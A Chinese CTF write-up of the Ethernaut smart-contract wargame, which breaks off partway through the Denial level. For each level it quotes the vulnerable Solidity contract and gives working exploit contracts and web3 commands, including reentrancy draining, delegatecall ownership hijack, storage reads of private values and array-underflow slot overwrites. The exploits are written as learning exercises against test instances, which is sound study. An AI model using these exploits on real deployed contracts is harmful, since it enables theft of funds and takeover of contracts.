Ethernaut wp

Ethernaut wp

刷区块链题目的平台,正好学习一下

METAMASK

remix

0x01 Hello Ethernaut

上面的插件下好之后注册一个账户,确认链接之后切换到Rinkey测试网络

按照题目提示一步步做就是了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract.info()
// "You will find what you need in info1()."
contract.info1()
// "Try info2(), but with "hello" as a parameter."
contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
contract.infoNum()
// 42
contract.info42()
// "theMethodName is the name of the next method."
contract.theMethodName()
// "The method name is method7123949."
contract.method7123949()
// "If you know the password, submit it to authenticate()."
contract.password()
// "ethernaut0"
contract.authenticate('ethernaut0')

image-20210617044622032

0x02 Fallback

考察知识点,函数调用,不是重入漏洞

  1. you claim ownership of the contract
  2. you reduce its balance to 0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

using SafeMath for uint256; //使用安全函数
mapping(address => uint) public contributions; //地址贡献值映射
address payable public owner; //定义合约拥有者

constructor() public { //初始化
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner { //定义函数修改器验证是否是拥有者
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function contribute() public payable { //收钱函数
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint) { //返回贡献值函数
return contributions[msg.sender];
}

function withdraw() public onlyOwner { //退钱函数
owner.transfer(address(this).balance);
}

fallback() external payable { //改变拥有者函数
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
  1. 多转钱,就能使合约拥有者变成自己
  2. 调用fallback函数,绕过验证后也能变成自己,fallback函数在调用Transfer函数的时候会调用
  3. 调用withdraw函数,账户清零
1
2
3
4
5
6
contract.contribute({value:1})  //要求1
//保证在执行FallBack函数时,能通过contributions[msg.sender] > 0的校验
contract.sendTransaction({value:1}) 或者 用MetaMask的发送功能。//要求1
//通过转账调用Fallback函数。
contract.withdraw() //要求2
//转走合约的钱。

image-20210617045950026

0x03 Fallout

使合约拥有者变成自己

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

看了一通代码发现Fallout函数不是构造函数,可以直接调用

1
contract.Fal1out()

image-20210617051912925

0x04 Coin Flip

猜硬币游戏,连续猜对十次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

主要是随机数安全,但是区块链上所有的数据都是公开的,源码中的

1
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

可以通过

1
uint256(blockhash(block.number -1));

获得

编写EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Exp{
address public con_addr = 0xcf3Ba6B0681183999D8D053fD7F4E4Fa3340A524;
// 这个地址改成合约的地址
CoinFlip c = CoinFlip(con_addr);
uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function guess() public{
uint256 blockValue = uint256(blockhash(block.number -1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
c.flip(side);
}
}

本来想写个for循环,编译器提示我gas不足,会导致交易失败,就不了了之

连续点击十次guess

image-20210617054852440

image-20210617054951941

网上找到了一个POC

1
2
3
4
5
6
7
8
9
10
11
let blockHash = function() {
return new Promise(
(resolve, reject) => web3.eth.getBlock('latest', (error, result) => {
if(!error)
resolve(result['hash']);
else
reject(error);
})
);
}
contract.flip(parseInt((await blockHash())[2], 16) > 8)

果然太牛了

0x05 Telephone

考察msg.sender与tx.origin不相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

部署合约EXP调用Telephone即可

1
2
3
4
5
6
7
8
9
10
11
contract Exp{

address public con_addr = 0x285c2fd96e1582de7fcB314C9e0048B76089936e;
// 这个地址改成合约的地址
address public _owner = 0xe510Ac7b174D055679d38450c42AD07bC65E0bc9;
// 这个地址改成自己的地址
Telephone phone = Telephone(con_addr);
function attack() public{
phone.changeOwner(_owner);
}
}

image-20210617060301242

0x06 Token

整数乘法溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
1
2
3
4
5
6
7
8
9
10
11
12
contract Exp{

address public con_addr = 0xf920AeFe3343D3C8dd9BC4a360e814470300c344;
// 这个地址改成合约的地址
address public _owner = 0x63C2F14860D68d75dc2837DBD0D0845294291738;
// 随意填写一个地址
uint overvalue = 21;
Token token = Token(con_addr);
function attack() public{
token.transfer(_owner,overvalue);
}
}

image-20210617061736552

0x07 Delegation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result, bytes memory data) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

这里Delegation调用了Delegate合约,在其fallback函数中 使用了delegatecall

考点在于 Solidity 中支持两种底层调用方式 calldelegatecall

call 外部调用时,上下文是外部合约 delegatecall 外部调用时,上下文是调用合约

也就是说通过address(delegate).delegatecall(msg.data);我们能调用delegate的任意函数

这里我们发现只要调用delegatepwn()函数就好了

在solidty中可以通过method id(函数选择器)来调用函数

1
contract.sendTransaction({data: web3.utils.sha3("pwn()").slice(0,10)})//0xdd365b8b

image-20210617063916725

0X08 Force

The goal of this level is to make the balance of the contract greater than zero.

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

要求合约余额大于零,先试试直接转账

image-20210617151434286

去反编译看代码,啥也没有,fallback没有payable

1
2
3
4
5
6
contract Contract {
function main() {
memory[0x40:0x60] = 0x80;
revert(memory[0x00:0x00]);
}
}

最后想到用合约销毁强制转账的方式

1
2
3
4
5
6
7
8
contract exp{ 

function exp() public payable {}
function exploit(address _target) public {
selfdestruct(_target);
}

}

记得部署的时候打点钱,或者后面转也可以

image-20210617153930963

0x09 Vault

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

定义为私有变量只能组织其他合约访问,但是无法阻止公开访问

按照其代码,可以知道password的存储位置是1

1
web3.eth.getStorageAt(contract.address, 1)

image-20210617154923739

image-20210617155309438

直接使用

1
contract.unlock("A very strong secret password :\)")//密码错误
1
contract.unlock(web3.utils.hexToBytes('0x412076657279207374726f6e67207365637265742070617373776f7264203a29'))

image-20210617161012697

0x0A King

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

fallback() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}

谁发送大于 king 的金额就能成为新的 king,但是要先把之前的国王的钱退回去才能更改 king。只要我们一直不接受退回的奖金,那我们就能够一直保持 king 的身份,那就把合约的fallback函数不弄成payable就能一直不接受了。当然第一步是先成为King

image-20210617162135418

此时King是别人

1
2
3
4
5
6
7
pragma solidity ^0.4.18;

contract Attacker{
constructor(address target) public payable{
target.call.gas(1000000).value(msg.value)();
}
}

给合约转一些钱,是自己成为King,同时不接受退款

image-20210617170057604

image-20210617172756652

image-20210617172746510

0x0B Re-entrancy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result, bytes memory data) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

fallback() external payable {}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract Reenter {
Reentrance reentranceContract;
uint public amount = 1 ether; //withdrawal amount

constructor(address payable reentranceContactAddress) public payable {
reentranceContract = Reentrance(reentranceContactAddress);
}
function initiateAttack() public {
reentranceContract.donate{value:amount}(address(this));
//首先,需要捐赠一些钱
reentranceContract.withdraw(amount);
//然后调用合约的withdraw函数提现
}
fallback() external payable {
if (address(reentranceContract).balance >= 0 ) {
reentranceContract.withdraw(amount);
}//因为我们接受以太币的时候也会调用我们的回退函数
//而我们的回退函数中又一次调用了题目合约的withdraw函数
}
}

image-20210617180356753

image-20210617180356753

0x0C Elevator

直接甩给我们一个可控的接口,题目目标是登顶

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;


interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

想要登顶,需要top=true,就需要我们在

1
2
top = building.isLastFloor(floor);//isLastFloor()返回true
if (! building.isLastFloor(_floor))//isLastFloor()返回false

也就是说,我们需要对isLastFloor()函数进行操作,题目在声明 isLastFloor 时,赋予了 view 属性,view 表示函数会读取合约变量,但是不会修改任何合约的状态,再看看题目提示

1
Sometimes solidity is not good at keeping promises.

查找了一些资料之后,发现当前 Solidity 编译器没有强制执行 view 函数不能修改状态,所以上述做法就是可行的

1
2
3
4
5
6
7
8
9
10
11
12
13
contract exp {
address to = 0x62515F83C91cDF26b8014e1c3f48Da3F4B5106cD;
//修改成你的合约地址
Elevator exp = Elevator(to);
bool public flag = true;
function isLastFloor(uint) public returns (bool){
flag = !flag;
return flag;
}
function exploit() public{
exp.goTo(123);
}
}

image-20210619144446168

0x0D Privacy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

之前 Vault 题目的升级版,还是一样,用 getStorageAt() 把链上的数据读出来

1
2
3
4
5
6
7
8
9
10
11
12
13
web3.eth.getStorageAt(contract.address,0)
//0x0000000000000000000000000000000000000000000000000000000000000001 locked
web3.eth.getStorageAt(contract.address,1)
//0x0000000000000000000000000000000000000000000000000000000060cd98c3 block.timestamp
web3.eth.getStorageAt(contract.address,2)
//0x0000000000000000000000000000000000000000000000000000000098c3ff0a
// flattening denomination awkwardness
web3.eth.getStorageAt(contract.address,3)
//0x41c044f993be0e8c24b049c19b70a3d9d2e54aaf2cbb429787f8cbc5b47075b7 data[0]
web3.eth.getStorageAt(contract.address,4)
//0x1bfba67ed5c9b51ae63b2cae7bd1a2357d982032fd6650fa816380d5a8904089 data[1]
web3.eth.getStorageAt(contract.address,5)
//0xe9b3f125a9345010284752e33195e9eedf04354aa6ecf0c268c5b6fae3df42be data[2]

byte16强制转换,所以我们取data[2]的前十六位

1
contract.unlock('0xe9b3f125a9345010284752e33195e9ee')

image-20210619152931264

0x0E Gatekeeper One

Make it past the gatekeeper and register as an entrant to pass this level.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

要求我们分别满足三个gate函数

1
gataOne //通过第三方合约调用 enter 即可gataTwo //msg.gas % 8191 == 0gataThree //数据类型转换规则的考察
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// 数字 与 数字
uint8 -> uint16
// 值不变 其他小单位转大单位同理
uint16 -> uint8
// 导致溢出,转换后的结果为原变量 mod 256 其他大单位转小单位同理

// bytes 与 bytes
bytes8 -> bytes16
// 后面补零 其他小单位转大单位同理
// 0xaaaaaaaaaaaaaaaa -> 0xaaaaaaaaaaaaaaaa0000000000000000
bytes16 -> bytes8
// 取前面的位数 其他大单位转小单位同理
// 0xaaaaaaaaaaaaaaaa0000000000000000 -> 0xaaaaaaaaaaaaaaaa

// address 与 bytes、uint
address -> uint
// 根据 uint 的具体单位,将地址从尾端开始截取对应长度
// 如地址0x0DCd2F752394c41875e259e00bb44fd505297caF,转为 uint8 为取最后1字节 0xaf
address -> bytes
// 根据 bytes 的具体单位,从前截取对应长度
// 0x08970FEd061E7747CD9a38d680A601510CB659FB -> 0x80a601510cb659fb (bytes8)
uint/bytes 转 address
// uint 转为 hex,bytes不变,从后填充
// uint8 -> address 0x123 -> 0x0000000000000000000000000000000000000123
// bytes8 -> address 0x80a601510cb659fb -> 0x00000000000000000000000080A601510cB659FB

这个复现失败了,Gas在链上没有调试出来,后来找到一篇文章

1
2
3
4
5
6
7
8
9
10
11
12
contract Attack {

address instance_address =0xc97fBFaC4734868B2f54CD54308e0733a5FBcfD4;
bytes8 _gateKey = bytes8(tx.origin) & 0xFFFFFFFF0000FFFF;

GatekeeperOne target = GatekeeperOne(instance_address);

function hack() public {
target.call.gas(999999)(bytes4(keccak256("enter(bytes8)")), _gateKey);
}
}

1
0x5b4f043f1da6a0acb14405618d4b66b6c38ecd35546084c94fc6d78791ba9a37//txhash

image-20210623122522463

image-20210623122511481

0x0F Gatekeeper Two

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract GatekeeperTwo {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

和One一样需要绕过三个条件限制

第一个限制不必多说

第二个限制,这里使用的是内联汇编来获取调用方(caller)的代码大小,需要我们的合约代码大小为零。就想到在构造函数里面去调用受害合约,此时我们的合约正在初始化,代码大小就为零了

第三个就是利用异或的特性

1
2
3
4
5
6
7
8
contract Hack {
function Hack(address _c) public {
GatekeeperTwo exp = GatekeeperTwo(_c);
bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(bytes8(keccak256(this))));
exp.call(bytes4(keccak256("enter(bytes8)")),_gateKey);
}
}
//0xfd97529959ac12f3603323e576cdfd6ef224480c06e16e632219543a68b62bdd

image-20210623195125291

0x10 Naught Coin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

classic blance to 0

看合约代码知道设置了lockTokens修饰词对transfer函数加以验证,同时transfer函数也对ERC720合约中的transfer函数进行了重写。同时意识到ERC720有两个转账函数,一个是 transfer 还有一个是 transferFrom,这里只重写了一个,意味着另一个可以被直接调用。跟踪了一下,发现transferFrom 需要先经过 approve 批准才能使用

1
2
3
4
5
6
7
8
9
10
11
12
13
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from][msg.sender];
self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from][msg.sender] = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}

第一步先看有多少钱,才知道能授权多少

image-20210623201122087

1
2
3
//授权转钱
contract.approve(player,toWei('1000000'))
contract.transferFrom(player,contract.address,toWei('1000000'))

image-20210623200401783

0x11 Preservation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Preservation {

// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}

// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}

// Simple library contract to set the time
contract LibraryContract {

// stores a timestamp
uint storedTime;

function setTime(uint _time) public {
storedTime = _time;
}
}

delegateCall函数

区别在于 delegatecall 仅使用给定地址的代码,其它信息则使用当前合约(如存储,余额等等)。delegateCall 方法仅仅使用目标合约的代码, 其余的 storage 等数据均使用自己的,这就使得某些访存操作会错误的处理对象

看到一个师傅分析的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
contract A{
uint public x1;
uint public x2;

function funca(address param){
param.delegatecall(bytes4(keccak256("funcb()")));
}
}
contract B{
uint public y1;
uint public y2;

function funcb(){
y1=1;
y2=2;
}
}

在上述合约中,一旦在a中调用了b的funcb函数,那么对应的a中 x1就会等于y1,x2就会等于 2。 在这个过程中实际b合约的funcb函数把storage里面的slot 1的值更换为了1,把slot 2的值更换为了 2,那么由于delegatecall的原因这里修改的是a的storage,对应就是修改了 x1,x2。可以实现变量覆盖

那么这个题就很好办了,我们调用Preservation的setFirstTime函数时候实际通过delegatecall 执行了LibraryContract的setTime函数,修改了slot 1,也就是修改了timeZone1Library变量。 这样,我们第一次调用setFirstTime将timeZone1Library变量修改为我们的恶意合约的地址,第二次调用setFirstTime就可以执行我们的任意代码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract attack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;

address instance_address = 0x7cec052e622c0fb68ca3b2e3c899b8bf8b78663c; //
Preservation target = Preservation(instance_address);
function attack1() {
target.setFirstTime(uint(address(this)));
}
function attack2() {
target.setFirstTime(uint(0x88d3052d12527f1fbe3a6e1444ea72c4ddb396c2)); //player
}
function setTime(uint _time) public {
timeZone1Library = address(_time);
timeZone2Library = address(_time);
owner = address(_time);
}
}

image-20210623204943777

0x12 Recovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Recovery {

//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}

contract SimpleToken {

using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;

// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}

// collect ether in return for tokens
fallback() external payable {
balances[msg.sender] = msg.value.mul(10);
}

// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}

// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}

要求我们移除,或转移指定合约上面的钱,其实简单来说就是已知一个 Recovery 合约地址,恢复一下它创建的 SimpleToken 地址,然后将 0.5 eth 从丢失地址的合约中提出即可

在metamask上拿到交易hash,再去浏览器上面查询

image-20210624112151430

从而得到丢失合约的地址,就可编写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pragma solidity ^0.4.23;

contract SimpleToken {

// public variables
string public name;
mapping (address => uint) public balances;

// collect ether in return for tokens
function() public payable ;

// allow transfers of tokens
function transfer(address _to, uint _amount) public ;

// clean up after ourselves
function destroy(address _to) public ;
}

contract RecoveryPoc {
SimpleToken target;
constructor(address _addr) public{
target = SimpleToken(_addr);
}

function attack() public{
target.destroy(tx.origin);
}

}

image-20210624113103217

0x13 MagicNumber

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract MagicNum {

address public solver;

constructor() public {}

function setSolver(address _solver) public {
solver = _solver;
}

/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}

参考

1
2
3
bytecode = "0x600a600c600039600a6000f3602a60805260206080f3";
web3.eth.sendTransaction({from:player,data:bytecode})
await contract.setSolver('address')

image-20210625202119077

0x14 Alien Codex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

bool public contact;
bytes32[] public codex;

modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}

function record(bytes32 _content) contacted public {
codex.push(_content);
}

function retract() contacted public {
codex.length--;
}

function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}

合约开头引入了Ownable合约,同时也引入了一个 owner 变量

1
2
3
await web3.eth.getStorageAt(instance, 0, function(x, y) {console.info(y)});
// 0x00000000000000000000000073048cec9010e92c298b016966bde1cc47299df5 slot0
// 对应的 contact 为零,Owner=0x73048cec9010e92c298b016966bde1cc47299df5

codex储存的位置是从slot1同时这里也是储存数组长度的地方,而 codex 的实际内容存储在 keccak256(bytes32(1)) 开始的位置,EVM的储存方式是

1
2
3
array[array_slot_index] == SLOAD(keccak256(slot(array)) + slot_index)
codex[0] =eb3.eth.getStorageAt(contract.address,keccak_256(byte32(1)) //byte32用于填充0
//下面暂且记作slotx

也就是说我们对codex[0]进行偏移,就能得到codex[y]=slot0,也就能达到修改slot0的目的

1
y=2^256-x+0
1
contract.revise('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a','0x000000000000000000000001e510Ac7b174D055679d38450c42AD07bC65E0bc9')

但是再次之前,我们需要绕过修饰关键词contacted的限制,也就是需要使contact = true,那就是调用make_contact() 函数,此时我们想要读取到codex[y],slot1存储的数组长度大于y,很显然 retract()函数能帮助我们进行下溢。record或者也可以一直调用record,在第y次时传入正确的参数

1
2
3
4
5
6
7
8
9
10
11
12
contract.retract()
// codex.length--
await web3.eth.getStorageAt(contract.address, 1)
// codex.length
// 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
await contract.owner()
// "0x73048cec9010e92c298b016966bde1cc47299df5"
contract.revise('0x4ef1d2ad89edf8c4d91132028e8195cdf30bb4b5053d4f8cd260341d4805f30a',"0x000000000000000000000001+Player address")
// 调用 revise()
await contract.owner()
// Player address
// Submit instance

image-20210626142522049

0x15 Denial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

using SafeMath for uint256;
address public partner; // withdrawal partner - pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

function setWithdrawPartner(address _partner) public {
partner = _partner;
}

// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call.value(amountToSend)("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}

// allow deposit of funds
fallback() external payable {}

